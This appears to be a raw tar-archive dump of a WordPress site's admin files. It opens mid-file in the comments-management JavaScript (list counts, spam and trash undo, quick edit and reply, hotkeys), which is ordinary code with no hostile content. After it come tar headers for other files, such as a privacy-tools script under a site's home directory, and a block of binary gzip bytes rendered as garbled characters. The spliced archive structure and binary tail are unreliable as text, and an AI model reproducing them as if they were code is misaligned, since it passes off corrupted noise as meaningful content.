				a.parent().addClass( noParentClass );
				a.removeClass( pendingClass ).addClass( noClass );
			} else {
				a.parent().removeClass( noParentClass );
				a.addClass( pendingClass ).removeClass( noClass );
			}
			updateCount( a, n );
		});

		noPending.each(function() {
			var a = $(this);
			if ( diff > 0 ) {
				a.parent().removeClass( noParentClass );
				a.removeClass( noClass ).addClass( pendingClass );
			} else {
				a.parent().addClass( noParentClass );
				a.addClass( noClass ).removeClass( pendingClass );
			}
			updateCount( a, diff );
		});
	};

/**
 * Initializes the comments list.
 *
 * @since 4.4.0
 *
 * @global
 *
 * @return {void}
 */
window.setCommentsList = function() {
	var totalInput, perPageInput, pageInput, dimAfter, delBefore, updateTotalCount, delAfter, refillTheExtraList, diff,
		lastConfidentTime = 0;

	totalInput = $('input[name="_total"]', '#comments-form');
	perPageInput = $('input[name="_per_page"]', '#comments-form');
	pageInput = $('input[name="_page"]', '#comments-form');

	/**
	 * Updates the total with the latest count.
	 *
	 * The time parameter makes sure that we only update the total if this value is
	 * a newer value than we previously received.
	 *
	 * The time and setConfidentTime parameters make sure that we only update the
	 * total when necessary. So a value that has been generated earlier will not
	 * update the total.
	 *
	 * @since 2.8.0
	 * @access private
	 *
	 * @param {number} total Total number of comments.
	 * @param {number} time Unix timestamp of response.
 	 * @param {boolean} setConfidentTime Whether to update the last confident time
	 *                                   with the given time.
	 *
	 * @return {void}
	 */
	updateTotalCount = function( total, time, setConfidentTime ) {
		if ( time < lastConfidentTime )
			return;

		if ( setConfidentTime )
			lastConfidentTime = time;

		totalInput.val( total.toString() );
	};

	/**
	 * Changes DOM that need to be changed after a list item has been dimmed.
	 *
	 * @since 2.5.0
	 * @access private
	 *
	 * @param {Object} r Ajax response object.
	 * @param {Object} settings Settings for the wpList object.
	 *
	 * @return {void}
	 */
	dimAfter = function( r, settings ) {
		var editRow, replyID, replyButton, response,
			c = $( '#' + settings.element );

		if ( true !== settings.parsed ) {
			response = settings.parsed.responses[0];
		}

		editRow = $('#replyrow');
		replyID = $('#comment_ID', editRow).val();
		replyButton = $('#replybtn', editRow);

		if ( c.is('.unapproved') ) {
			if ( settings.data.id == replyID )
				replyButton.text( __( 'Approve and Reply' ) );

			c.find( '.row-actions span.view' ).addClass( 'hidden' ).end()
				.find( 'div.comment_status' ).html( '0' );

		} else {
			if ( settings.data.id == replyID )
				replyButton.text( __( 'Reply' ) );

			c.find( '.row-actions span.view' ).removeClass( 'hidden' ).end()
				.find( 'div.comment_status' ).html( '1' );
		}

		diff = $('#' + settings.element).is('.' + settings.dimClass) ? 1 : -1;
		if ( response ) {
			updateDashboardText( response.supplemental );
			updateInModerationText( response.supplemental );
			updatePending( diff, response.supplemental.postId );
			updateApproved( -1 * diff, response.supplemental.postId );
		} else {
			updatePending( diff );
			updateApproved( -1 * diff  );
		}
	};

	/**
	 * Handles marking a comment as spam or trashing the comment.
	 *
	 * Is executed in the list delBefore hook.
	 *
	 * @since 2.8.0
	 * @access private
	 *
	 * @param {Object} settings Settings for the wpList object.
	 * @param {HTMLElement} list Comments table element.
	 *
	 * @return {Object} The settings object.
	 */
	delBefore = function( settings, list ) {
		var note, id, el, n, h, a, author,
			action = false,
			wpListsData = $( settings.target ).attr( 'data-wp-lists' );

		settings.data._total = totalInput.val() || 0;
		settings.data._per_page = perPageInput.val() || 0;
		settings.data._page = pageInput.val() || 0;
		settings.data._url = document.location.href;
		settings.data.comment_status = $('input[name="comment_status"]', '#comments-form').val();

		if ( wpListsData.indexOf(':trash=1') != -1 )
			action = 'trash';
		else if ( wpListsData.indexOf(':spam=1') != -1 )
			action = 'spam';

		if ( action ) {
			id = wpListsData.replace(/.*?comment-([0-9]+).*/, '$1');
			el = $('#comment-' + id);
			note = $('#' + action + '-undo-holder').html();

			el.find('.check-column :checkbox').prop('checked', false); // Uncheck the row so as not to be affected by Bulk Edits.

			if ( el.siblings('#replyrow').length && commentReply.cid == id )
				commentReply.close();

			if ( el.is('tr') ) {
				n = el.children(':visible').length;
				author = $('.author strong', el).text();
				h = $('<tr id="undo-' + id + '" class="undo un' + action + '" style="display:none;"><td colspan="' + n + '">' + note + '</td></tr>');
			} else {
				author = $('.comment-author', el).text();
				h = $('<div id="undo-' + id + '" style="display:none;" class="undo un' + action + '">' + note + '</div>');
			}

			el.before(h);

			$('strong', '#undo-' + id).text(author);
			a = $('.undo a', '#undo-' + id);
			a.attr('href', 'comment.php?action=un' + action + 'comment&c=' + id + '&_wpnonce=' + settings.data._ajax_nonce);
			a.attr('data-wp-lists', 'delete:the-comment-list:comment-' + id + '::un' + action + '=1');
			a.attr('class', 'vim-z vim-destructive aria-button-if-js');
			$('.avatar', el).first().clone().prependTo('#undo-' + id + ' .' + action + '-undo-inside');

			a.on( 'click', function( e ){
				e.preventDefault();
				e.stopPropagation(); // Ticket #35904.
				list.wpList.del(this);
				$('#undo-' + id).css( {backgroundColor:'#ceb'} ).fadeOut(350, function(){
					$(this).remove();
					$('#comment-' + id).css('backgroundColor', '').fadeIn(300, function(){ $(this).show(); });
				});
			});
		}

		return settings;
	};

	/**
	 * Handles actions that need to be done after marking as spam or thrashing a
	 * comment.
	 *
	 * The ajax requests return the unix time stamp a comment was marked as spam or
	 * trashed. We use this to have a correct total amount of comments.
	 *
	 * @since 2.5.0
	 * @access private
	 *
	 * @param {Object} r Ajax response object.
	 * @param {Object} settings Settings for the wpList object.
	 *
	 * @return {void}
	 */
	delAfter = function( r, settings ) {
		var total_items_i18n, total, animated, animatedCallback,
			response = true === settings.parsed ? {} : settings.parsed.responses[0],
			commentStatus = true === settings.parsed ? '' : response.supplemental.status,
			commentPostId = true === settings.parsed ? '' : response.supplemental.postId,
			newTotal = true === settings.parsed ? '' : response.supplemental,

			targetParent = $( settings.target ).parent(),
			commentRow = $('#' + settings.element),

			spamDiff, trashDiff, pendingDiff, approvedDiff,

			/*
			 * As `wpList` toggles only the `unapproved` class, the approved comment
			 * rows can have both the `approved` and `unapproved` classes.
			 */
			approved = commentRow.hasClass( 'approved' ) && ! commentRow.hasClass( 'unapproved' ),
			unapproved = commentRow.hasClass( 'unapproved' ),
			spammed = commentRow.hasClass( 'spam' ),
			trashed = commentRow.hasClass( 'trash' ),
			undoing = false; // Ticket #35904.

		updateDashboardText( newTotal );
		updateInModerationText( newTotal );

		/*
		 * The order of these checks is important.
		 * .unspam can also have .approve or .unapprove.
		 * .untrash can also have .approve or .unapprove.
		 */

		if ( targetParent.is( 'span.undo' ) ) {
			// The comment was spammed.
			if ( targetParent.hasClass( 'unspam' ) ) {
				spamDiff = -1;

				if ( 'trash' === commentStatus ) {
					trashDiff = 1;
				} else if ( '1' === commentStatus ) {
					approvedDiff = 1;
				} else if ( '0' === commentStatus ) {
					pendingDiff = 1;
				}

			// The comment was trashed.
			} else if ( targetParent.hasClass( 'untrash' ) ) {
				trashDiff = -1;

				if ( 'spam' === commentStatus ) {
					spamDiff = 1;
				} else if ( '1' === commentStatus ) {
					approvedDiff = 1;
				} else if ( '0' === commentStatus ) {
					pendingDiff = 1;
				}
			}

			undoing = true;

		// User clicked "Spam".
		} else if ( targetParent.is( 'span.spam' ) ) {
			// The comment is currently approved.
			if ( approved ) {
				approvedDiff = -1;
			// The comment is currently pending.
			} else if ( unapproved ) {
				pendingDiff = -1;
			// The comment was in the Trash.
			} else if ( trashed ) {
				trashDiff = -1;
			}
			// You can't spam an item on the Spam screen.
			spamDiff = 1;

		// User clicked "Unspam".
		} else if ( targetParent.is( 'span.unspam' ) ) {
			if ( approved ) {
				pendingDiff = 1;
			} else if ( unapproved ) {
				approvedDiff = 1;
			} else if ( trashed ) {
				// The comment was previously approved.
				if ( targetParent.hasClass( 'approve' ) ) {
					approvedDiff = 1;
				// The comment was previously pending.
				} else if ( targetParent.hasClass( 'unapprove' ) ) {
					pendingDiff = 1;
				}
			} else if ( spammed ) {
				if ( targetParent.hasClass( 'approve' ) ) {
					approvedDiff = 1;

				} else if ( targetParent.hasClass( 'unapprove' ) ) {
					pendingDiff = 1;
				}
			}
			// You can unspam an item on the Spam screen.
			spamDiff = -1;

		// User clicked "Trash".
		} else if ( targetParent.is( 'span.trash' ) ) {
			if ( approved ) {
				approvedDiff = -1;
			} else if ( unapproved ) {
				pendingDiff = -1;
			// The comment was in the spam queue.
			} else if ( spammed ) {
				spamDiff = -1;
			}
			// You can't trash an item on the Trash screen.
			trashDiff = 1;

		// User clicked "Restore".
		} else if ( targetParent.is( 'span.untrash' ) ) {
			if ( approved ) {
				pendingDiff = 1;
			} else if ( unapproved ) {
				approvedDiff = 1;
			} else if ( trashed ) {
				if ( targetParent.hasClass( 'approve' ) ) {
					approvedDiff = 1;
				} else if ( targetParent.hasClass( 'unapprove' ) ) {
					pendingDiff = 1;
				}
			}
			// You can't go from Trash to Spam.
			// You can untrash on the Trash screen.
			trashDiff = -1;

		// User clicked "Approve".
		} else if ( targetParent.is( 'span.approve:not(.unspam):not(.untrash)' ) ) {
			approvedDiff = 1;
			pendingDiff = -1;

		// User clicked "Unapprove".
		} else if ( targetParent.is( 'span.unapprove:not(.unspam):not(.untrash)' ) ) {
			approvedDiff = -1;
			pendingDiff = 1;

		// User clicked "Delete Permanently".
		} else if ( targetParent.is( 'span.delete' ) ) {
			if ( spammed ) {
				spamDiff = -1;
			} else if ( trashed ) {
				trashDiff = -1;
			}
		}

		if ( pendingDiff ) {
			updatePending( pendingDiff, commentPostId );
			updateCountText( 'span.all-count', pendingDiff );
		}

		if ( approvedDiff ) {
			updateApproved( approvedDiff, commentPostId );
			updateCountText( 'span.all-count', approvedDiff );
		}

		if ( spamDiff ) {
			updateCountText( 'span.spam-count', spamDiff );
		}

		if ( trashDiff ) {
			updateCountText( 'span.trash-count', trashDiff );
		}

		if (
			( ( 'trash' === settings.data.comment_status ) && !getCount( $( 'span.trash-count' ) ) ) ||
			( ( 'spam' === settings.data.comment_status ) && !getCount( $( 'span.spam-count' ) ) )
		) {
			$( '#delete_all' ).hide();
		}

		if ( ! isDashboard ) {
			total = totalInput.val() ? parseInt( totalInput.val(), 10 ) : 0;
			if ( $(settings.target).parent().is('span.undo') )
				total++;
			else
				total--;

			if ( total < 0 )
				total = 0;

			if ( 'object' === typeof r ) {
				if ( response.supplemental.total_items_i18n && lastConfidentTime < response.supplemental.time ) {
					total_items_i18n = response.supplemental.total_items_i18n || '';
					if ( total_items_i18n ) {
						$('.displaying-num').text( total_items_i18n.replace( '&nbsp;', String.fromCharCode( 160 ) ) );
						$('.total-pages').text( response.supplemental.total_pages_i18n.replace( '&nbsp;', String.fromCharCode( 160 ) ) );
						$('.tablenav-pages').find('.next-page, .last-page').toggleClass('disabled', response.supplemental.total_pages == $('.current-page').val());
					}
					updateTotalCount( total, response.supplemental.time, true );
				} else if ( response.supplemental.time ) {
					updateTotalCount( total, response.supplemental.time, false );
				}
			} else {
				updateTotalCount( total, r, false );
			}
		}

		if ( ! theExtraList || theExtraList.length === 0 || theExtraList.children().length === 0 || undoing ) {
			return;
		}

		theList.get(0).wpList.add( theExtraList.children( ':eq(0):not(.no-items)' ).remove().clone() );

		refillTheExtraList();

		animated = $( ':animated', '#the-comment-list' );
		animatedCallback = function() {
			if ( ! $( '#the-comment-list tr:visible' ).length ) {
				theList.get(0).wpList.add( theExtraList.find( '.no-items' ).clone() );
			}
		};

		if ( animated.length ) {
			animated.promise().done( animatedCallback );
		} else {
			animatedCallback();
		}
	};

	/**
	 * Retrieves additional comments to populate the extra list.
	 *
	 * @since 3.1.0
	 * @access private
	 *
	 * @param {boolean} [ev] Repopulate the extra comments list if true.
	 *
	 * @return {void}
	 */
	refillTheExtraList = function(ev) {
		var args = $.query.get(), total_pages = $('.total-pages').text(), per_page = $('input[name="_per_page"]', '#comments-form').val();

		if (! args.paged)
			args.paged = 1;

		if (args.paged > total_pages) {
			return;
		}

		if (ev) {
			theExtraList.empty();
			args.number = Math.min(8, per_page); // See WP_Comments_List_Table::prepare_items() in class-wp-comments-list-table.php.
		} else {
			args.number = 1;
			args.offset = Math.min(8, per_page) - 1; // Fetch only the next item on the extra list.
		}

		args.no_placeholder = true;

		args.paged ++;

		// $.query.get() needs some correction to be sent into an Ajax request.
		if ( true === args.comment_type )
			args.comment_type = '';

		args = $.extend(args, {
			'action': 'fetch-list',
			'list_args': list_args,
			'_ajax_fetch_list_nonce': $('#_ajax_fetch_list_nonce').val()
		});

		$.ajax({
			url: ajaxurl,
			global: false,
			dataType: 'json',
			data: args,
			success: function(response) {
				theExtraList.get(0).wpList.add( response.rows );
			}
		});
	};

	/**
	 * Globally available jQuery object referring to the extra comments list.
	 *
	 * @global
	 */
	window.theExtraList = $('#the-extra-comment-list').wpList( { alt: '', delColor: 'none', addColor: 'none' } );

	/**
	 * Globally available jQuery object referring to the comments list.
	 *
	 * @global
	 */
	window.theList = $('#the-comment-list').wpList( { alt: '', delBefore: delBefore, dimAfter: dimAfter, delAfter: delAfter, addColor: 'none' } )
		.on('wpListDelEnd', function(e, s){
			var wpListsData = $(s.target).attr('data-wp-lists'), id = s.element.replace(/[^0-9]+/g, '');

			if ( wpListsData.indexOf(':trash=1') != -1 || wpListsData.indexOf(':spam=1') != -1 )
				$('#undo-' + id).fadeIn(300, function(){ $(this).show(); });
		});
};

/**
 * Object containing functionality regarding the comment quick editor and reply
 * editor.
 *
 * @since 2.7.0
 *
 * @global
 */
window.commentReply = {
	cid : '',
	act : '',
	originalContent : '',

	/**
	 * Initializes the comment reply functionality.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 */
	init : function() {
		var row = $('#replyrow');

		$( '.cancel', row ).on( 'click', function() { return commentReply.revert(); } );
		$( '.save', row ).on( 'click', function() { return commentReply.send(); } );
		$( 'input#author-name, input#author-email, input#author-url', row ).on( 'keypress', function( e ) {
			if ( e.which == 13 ) {
				commentReply.send();
				e.preventDefault();
				return false;
			}
		});

		// Add events.
		$('#the-comment-list .column-comment > p').on( 'dblclick', function(){
			commentReply.toggle($(this).parent());
		});

		$('#doaction, #post-query-submit').on( 'click', function(){
			if ( $('#the-comment-list #replyrow').length > 0 )
				commentReply.close();
		});

		this.comments_listing = $('#comments-form > input[name="comment_status"]').val() || '';
	},

	/**
	 * Adds doubleclick event handler to the given comment list row.
	 *
	 * The double-click event will toggle the comment edit or reply form.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {Object} r The row to add double click handlers to.
	 *
	 * @return {void}
	 */
	addEvents : function(r) {
		r.each(function() {
			$(this).find('.column-comment > p').on( 'dblclick', function(){
				commentReply.toggle($(this).parent());
			});
		});
	},

	/**
	 * Opens the quick edit for the given element.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {HTMLElement} el The element you want to open the quick editor for.
	 *
	 * @return {void}
	 */
	toggle : function(el) {
		if ( 'none' !== $( el ).css( 'display' ) && ( $( '#replyrow' ).parent().is('#com-reply') || window.confirm( __( 'Are you sure you want to edit this comment?\nThe changes you made will be lost.' ) ) ) ) {
			$( el ).find( 'button.vim-q' ).trigger( 'click' );
		}
	},

	/**
	 * Closes the comment quick edit or reply form and undoes any changes.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @return {void}
	 */
	revert : function() {

		if ( $('#the-comment-list #replyrow').length < 1 )
			return false;

		$('#replyrow').fadeOut('fast', function(){
			commentReply.close();
		});
	},

	/**
	 * Closes the comment quick edit or reply form and undoes any changes.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @return {void}
	 */
	close : function() {
		var commentRow = $(),
			replyRow = $( '#replyrow' );

		// Return if the replyrow is not showing.
		if ( replyRow.parent().is( '#com-reply' ) ) {
			return;
		}

		if ( this.cid ) {
			commentRow = $( '#comment-' + this.cid );
		}

		/*
		 * When closing the Quick Edit form, show the comment row and move focus
		 * back to the Quick Edit button.
		 */
		if ( 'edit-comment' === this.act ) {
			commentRow.fadeIn( 300, function() {
				commentRow
					.show()
					.find( '.vim-q' )
						.attr( 'aria-expanded', 'false' )
						.trigger( 'focus' );
			} ).css( 'backgroundColor', '' );
		}

		// When closing the Reply form, move focus back to the Reply button.
		if ( 'replyto-comment' === this.act ) {
			commentRow.find( '.vim-r' )
				.attr( 'aria-expanded', 'false' )
				.trigger( 'focus' );
		}

		// Reset the Quicktags buttons.
 		if ( typeof QTags != 'undefined' )
			QTags.closeAllTags('replycontent');

		$('#add-new-comment').css('display', '');

		replyRow.hide();
		$( '#com-reply' ).append( replyRow );
		$('#replycontent').css('height', '').val('');
		$('#edithead input').val('');
		$( '.notice-error', replyRow )
			.addClass( 'hidden' )
			.find( '.error' ).empty();
		$( '.spinner', replyRow ).removeClass( 'is-active' );

		this.cid = '';
		this.originalContent = '';
	},

	/**
	 * Opens the comment quick edit or reply form.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {number} comment_id The comment ID to open an editor for.
	 * @param {number} post_id The post ID to open an editor for.
	 * @param {string} action The action to perform. Either 'edit' or 'replyto'.
	 *
	 * @return {boolean} Always false.
	 */
	open : function(comment_id, post_id, action) {
		var editRow, rowData, act, replyButton, editHeight,
			t = this,
			c = $('#comment-' + comment_id),
			h = c.height(),
			colspanVal = 0;

		if ( ! this.discardCommentChanges() ) {
			return false;
		}

		t.close();
		t.cid = comment_id;

		editRow = $('#replyrow');
		rowData = $('#inline-'+comment_id);
		action = action || 'replyto';
		act = 'edit' == action ? 'edit' : 'replyto';
		act = t.act = act + '-comment';
		t.originalContent = $('textarea.comment', rowData).val();
		colspanVal = $( '> th:visible, > td:visible', c ).length;

		// Make sure it's actually a table and there's a `colspan` value to apply.
		if ( editRow.hasClass( 'inline-edit-row' ) && 0 !== colspanVal ) {
			$( 'td', editRow ).attr( 'colspan', colspanVal );
		}

		$('#action', editRow).val(act);
		$('#comment_post_ID', editRow).val(post_id);
		$('#comment_ID', editRow).val(comment_id);

		if ( action == 'edit' ) {
			$( '#author-name', editRow ).val( $( 'div.author', rowData ).text() );
			$('#author-email', editRow).val( $('div.author-email', rowData).text() );
			$('#author-url', editRow).val( $('div.author-url', rowData).text() );
			$('#status', editRow).val( $('div.comment_status', rowData).text() );
			$('#replycontent', editRow).val( $('textarea.comment', rowData).val() );
			$( '#edithead, #editlegend, #savebtn', editRow ).show();
			$('#replyhead, #replybtn, #addhead, #addbtn', editRow).hide();

			if ( h > 120 ) {
				// Limit the maximum height when editing very long comments to make it more manageable.
				// The textarea is resizable in most browsers, so the user can adjust it if needed.
				editHeight = h > 500 ? 500 : h;
				$('#replycontent', editRow).css('height', editHeight + 'px');
			}

			c.after( editRow ).fadeOut('fast', function(){
				$('#replyrow').fadeIn(300, function(){ $(this).show(); });
			});
		} else if ( action == 'add' ) {
			$('#addhead, #addbtn', editRow).show();
			$( '#replyhead, #replybtn, #edithead, #editlegend, #savebtn', editRow ) .hide();
			$('#the-comment-list').prepend(editRow);
			$('#replyrow').fadeIn(300);
		} else {
			replyButton = $('#replybtn', editRow);
			$( '#edithead, #editlegend, #savebtn, #addhead, #addbtn', editRow ).hide();
			$('#replyhead, #replybtn', editRow).show();
			c.after(editRow);

			if ( c.hasClass('unapproved') ) {
				replyButton.text( __( 'Approve and Reply' ) );
			} else {
				replyButton.text( __( 'Reply' ) );
			}

			$('#replyrow').fadeIn(300, function(){ $(this).show(); });
		}

		setTimeout(function() {
			var rtop, rbottom, scrollTop, vp, scrollBottom,
				isComposing = false;

			rtop = $('#replyrow').offset().top;
			rbottom = rtop + $('#replyrow').height();
			scrollTop = window.pageYOffset || document.documentElement.scrollTop;
			vp = document.documentElement.clientHeight || window.innerHeight || 0;
			scrollBottom = scrollTop + vp;

			if ( scrollBottom - 20 < rbottom )
				window.scroll(0, rbottom - vp + 35);
			else if ( rtop - 20 < scrollTop )
				window.scroll(0, rtop - 35);

			$( '#replycontent' )
				.trigger( 'focus' )
				.on( 'keyup', function( e ) {
					// Close on Escape except when Input Method Editors (IMEs) are in use.
					if ( e.which === 27 && ! isComposing ) {
						commentReply.revert();
					}
				} )
				.on( 'compositionstart', function() {
					isComposing = true;
				} );
		}, 600);

		return false;
	},

	/**
	 * Submits the comment quick edit or reply form.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @return {void}
	 */
	send : function() {
		var post = {},
			$errorNotice = $( '#replysubmit .error-notice' );

		$errorNotice.addClass( 'hidden' );
		$( '#replysubmit .spinner' ).addClass( 'is-active' );

		$('#replyrow input').not(':button').each(function() {
			var t = $(this);
			post[ t.attr('name') ] = t.val();
		});

		post.content = $('#replycontent').val();
		post.id = post.comment_post_ID;
		post.comments_listing = this.comments_listing;
		post.p = $('[name="p"]').val();

		if ( $('#comment-' + $('#comment_ID').val()).hasClass('unapproved') )
			post.approve_parent = 1;

		$.ajax({
			type : 'POST',
			url : ajaxurl,
			data : post,
			success : function(x) { commentReply.show(x); },
			error : function(r) { commentReply.error(r); }
		});
	},

	/**
	 * Shows the new or updated comment or reply.
	 *
	 * This function needs to be passed the ajax result as received from the server.
	 * It will handle the response and show the comment that has just been saved to
	 * the server.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {Object} xml Ajax response object.
	 *
	 * @return {void}
	 */
	show : function(xml) {
		var t = this, r, c, id, bg, pid;

		if ( typeof(xml) == 'string' ) {
			t.error({'responseText': xml});
			return false;
		}

		r = wpAjax.parseAjaxResponse(xml);
		if ( r.errors ) {
			t.error({'responseText': wpAjax.broken});
			return false;
		}

		t.revert();

		r = r.responses[0];
		id = '#comment-' + r.id;

		if ( 'edit-comment' == t.act )
			$(id).remove();

		if ( r.supplemental.parent_approved ) {
			pid = $('#comment-' + r.supplemental.parent_approved);
			updatePending( -1, r.supplemental.parent_post_id );

			if ( this.comments_listing == 'moderated' ) {
				pid.animate( { 'backgroundColor':'#CCEEBB' }, 400, function(){
					pid.fadeOut();
				});
				return;
			}
		}

		if ( r.supplemental.i18n_comments_text ) {
			updateDashboardText( r.supplemental );
			updateInModerationText( r.supplemental );
			updateApproved( 1, r.supplemental.parent_post_id );
			updateCountText( 'span.all-count', 1 );
		}

		r.data = r.data || '';
		c = r.data.toString().trim(); // Trim leading whitespaces.
		$(c).hide();
		$('#replyrow').after(c);

		id = $(id);
		t.addEvents(id);
		bg = id.hasClass('unapproved') ? '#FFFFE0' : id.closest('.widefat, .postbox').css('backgroundColor');

		id.animate( { 'backgroundColor':'#CCEEBB' }, 300 )
			.animate( { 'backgroundColor': bg }, 300, function() {
				if ( pid && pid.length ) {
					pid.animate( { 'backgroundColor':'#CCEEBB' }, 300 )
						.animate( { 'backgroundColor': bg }, 300 )
						.removeClass('unapproved').addClass('approved')
						.find('div.comment_status').html('1');
				}
			});

	},

	/**
	 * Shows an error for the failed comment update or reply.
	 *
	 * @since 2.7.0
	 *
	 * @memberof commentReply
	 *
	 * @param {string} r The Ajax response.
	 *
	 * @return {void}
	 */
	error : function(r) {
		var er = r.statusText,
			$errorNotice = $( '#replysubmit .notice-error' ),
			$error = $errorNotice.find( '.error' );

		$( '#replysubmit .spinner' ).removeClass( 'is-active' );

		if ( r.responseText )
			er = r.responseText.replace( /<.[^<>]*?>/g, '' );

		if ( er ) {
			$errorNotice.removeClass( 'hidden' );
			$error.html( er );
		}
	},

	/**
	 * Opens the add comments form in the comments metabox on the post edit page.
	 *
	 * @since 3.4.0
	 *
	 * @memberof commentReply
	 *
	 * @param {number} post_id The post ID.
	 *
	 * @return {void}
	 */
	addcomment: function(post_id) {
		var t = this;

		$('#add-new-comment').fadeOut(200, function(){
			t.open(0, post_id, 'add');
			$('table.comments-box').css('display', '');
			$('#no-comments').remove();
		});
	},

	/**
	 * Alert the user if they have unsaved changes on a comment that will be lost if
	 * they proceed with the intended action.
	 *
	 * @since 4.6.0
	 *
	 * @memberof commentReply
	 *
	 * @return {boolean} Whether it is safe the continue with the intended action.
	 */
	discardCommentChanges: function() {
		var editRow = $( '#replyrow' );

		if  ( '' === $( '#replycontent', editRow ).val() || this.originalContent === $( '#replycontent', editRow ).val() ) {
			return true;
		}

		return window.confirm( __( 'Are you sure you want to do this?\nThe comment changes you made will be lost.' ) );
	}
};

$( function(){
	var make_hotkeys_redirect, edit_comment, toggle_all, make_bulk;

	setCommentsList();
	commentReply.init();

	$(document).on( 'click', 'span.delete a.delete', function( e ) {
		e.preventDefault();
	});

	if ( typeof $.table_hotkeys != 'undefined' ) {
		/**
		 * Creates a function that navigates to a previous or next page.
		 *
		 * @since 2.7.0
		 * @access private
		 *
		 * @param {string} which What page to navigate to: either next or prev.
		 *
		 * @return {Function} The function that executes the navigation.
		 */
		make_hotkeys_redirect = function(which) {
			return function() {
				var first_last, l;

				first_last = 'next' == which? 'first' : 'last';
				l = $('.tablenav-pages .'+which+'-page:not(.disabled)');
				if (l.length)
					window.location = l[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g, '')+'&hotkeys_highlight_'+first_last+'=1';
			};
		};

		/**
		 * Navigates to the edit page for the selected comment.
		 *
		 * @since 2.7.0
		 * @access private
		 *
		 * @param {Object} event       The event that triggered this action.
		 * @param {Object} current_row A jQuery object of the selected row.
		 *
		 * @return {void}
		 */
		edit_comment = function(event, current_row) {
			window.location = $('span.edit a', current_row).attr('href');
		};

		/**
		 * Toggles all comments on the screen, for bulk actions.
		 *
		 * @since 2.7.0
		 * @access private
		 *
		 * @return {void}
		 */
		toggle_all = function() {
			$('#cb-select-all-1').data( 'wp-toggle', 1 ).trigger( 'click' ).removeData( 'wp-toggle' );
		};

		/**
		 * Creates a bulk action function that is executed on all selected comments.
		 *
		 * @since 2.7.0
		 * @access private
		 *
		 * @param {string} value The name of the action to execute.
		 *
		 * @return {Function} The function that executes the bulk action.
		 */
		make_bulk = function(value) {
			return function() {
				var scope = $('select[name="action"]');
				$('option[value="' + value + '"]', scope).prop('selected', true);
				$('#doaction').trigger( 'click' );
			};
		};

		$.table_hotkeys(
			$('table.widefat'),
			[
				'a', 'u', 's', 'd', 'r', 'q', 'z',
				['e', edit_comment],
				['shift+x', toggle_all],
				['shift+a', make_bulk('approve')],
				['shift+s', make_bulk('spam')],
				['shift+d', make_bulk('delete')],
				['shift+t', make_bulk('trash')],
				['shift+z', make_bulk('untrash')],
				['shift+u', make_bulk('unapprove')]
			],
			{
				highlight_first: adminCommentsSettings.hotkeys_highlight_first,
				highlight_last: adminCommentsSettings.hotkeys_highlight_last,
				prev_page_link_cb: make_hotkeys_redirect('prev'),
				next_page_link_cb: make_hotkeys_redirect('next'),
				hotkeys_opts: {
					disableInInput: true,
					type: 'keypress',
					noDisable: '.check-column input[type="checkbox"]'
				},
				cycle_expr: '#the-comment-list tr',
				start_row_index: 0
			}
		);
	}

	// Quick Edit and Reply have an inline comment editor.
	$( '#the-comment-list' ).on( 'click', '.comment-inline', function() {
		var $el = $( this ),
			action = 'replyto';

		if ( 'undefined' !== typeof $el.data( 'action' ) ) {
			action = $el.data( 'action' );
		}

		$( this ).attr( 'aria-expanded', 'true' );
		commentReply.open( $el.data( 'commentId' ), $el.data( 'postId' ), action );
	} );
});

})(jQuery);
plugin-install.min.js.min.js.tar.gz000064400000002152150276633110013233 0ustar00��V[o�6��~��a�XK����B�v/�^:�@�"�EJbJ�I����J�m�j�a���A�����K>U�	���f�[G��
g$��麊([
5���JօP�P "%�Srk_}NJa]��
��:;?;}ur�.�������N��x���j�ƀ���pM߼},��B�����Q�7�q6z3����M��*sB���5#�P�4��Iy�C��+�)�V��#��Br�C�\�
�`�`�tV/�rd���M������ʫ$�.t6B�C�j�����w7�Ԗ��^����
L�TI��h�RB$�D�y���
�*��̸�BZ ����w�;|��)�w��K���q ?�_^��#@����Gl)r��\S�K�w��4�_����G.�3�(�	P0Ax8���rx����7���ǜ��h[)�@0W�1qpVrQ��!
.�fo�E��b���^^����6*оR�"�>�A$W���΁�Y�:v�"7t��k� -��$5ɬ
����jH�;��M*j,�U�@Mg�I�'��C[��`�J�#�n#9YһO��;�NW	:�A7|�G�"�� N�J�u�� @N�2�D,&�9�Dix����6$!�W�f<�����qt�e2-B��߶Y���ۡ����(���Cє?���S����0#��5��y&mY�Ŝ�P�O3�kRR�����'�R3*n�?l�'��9��4;�NЗ
�An7��}�rm��������C�F&!�^�Y��8l�~;�.���z�1|�Wܫ�O������X[�t��0,���W� z��<�b�1F�h��S�z]q�"�2B�<x����Cc9�dh�S�ɱ�h7�t��+Z�6�f�7�C�ɒd�8��t��{�%OT�P�F�H���� }���2-|�e]۴�A�E�a
U�5���0N�:!YmL^K�.����w����63���91��0���C�æE���R0�{�l��]��7PE����+�����WG�{cz̢�E��Ã��i�~�;:�*?��Si9�~��%c�}�tQ�Т�� �~���k�����e�����ן)�wprivacy-tools.min.js.tar000064400000016000150276633110011265 0ustar00home/natitnen/crestassured.com/wp-admin/js/privacy-tools.min.js000064400000012025150264205430020664 0ustar00/*! This file is auto-generated */
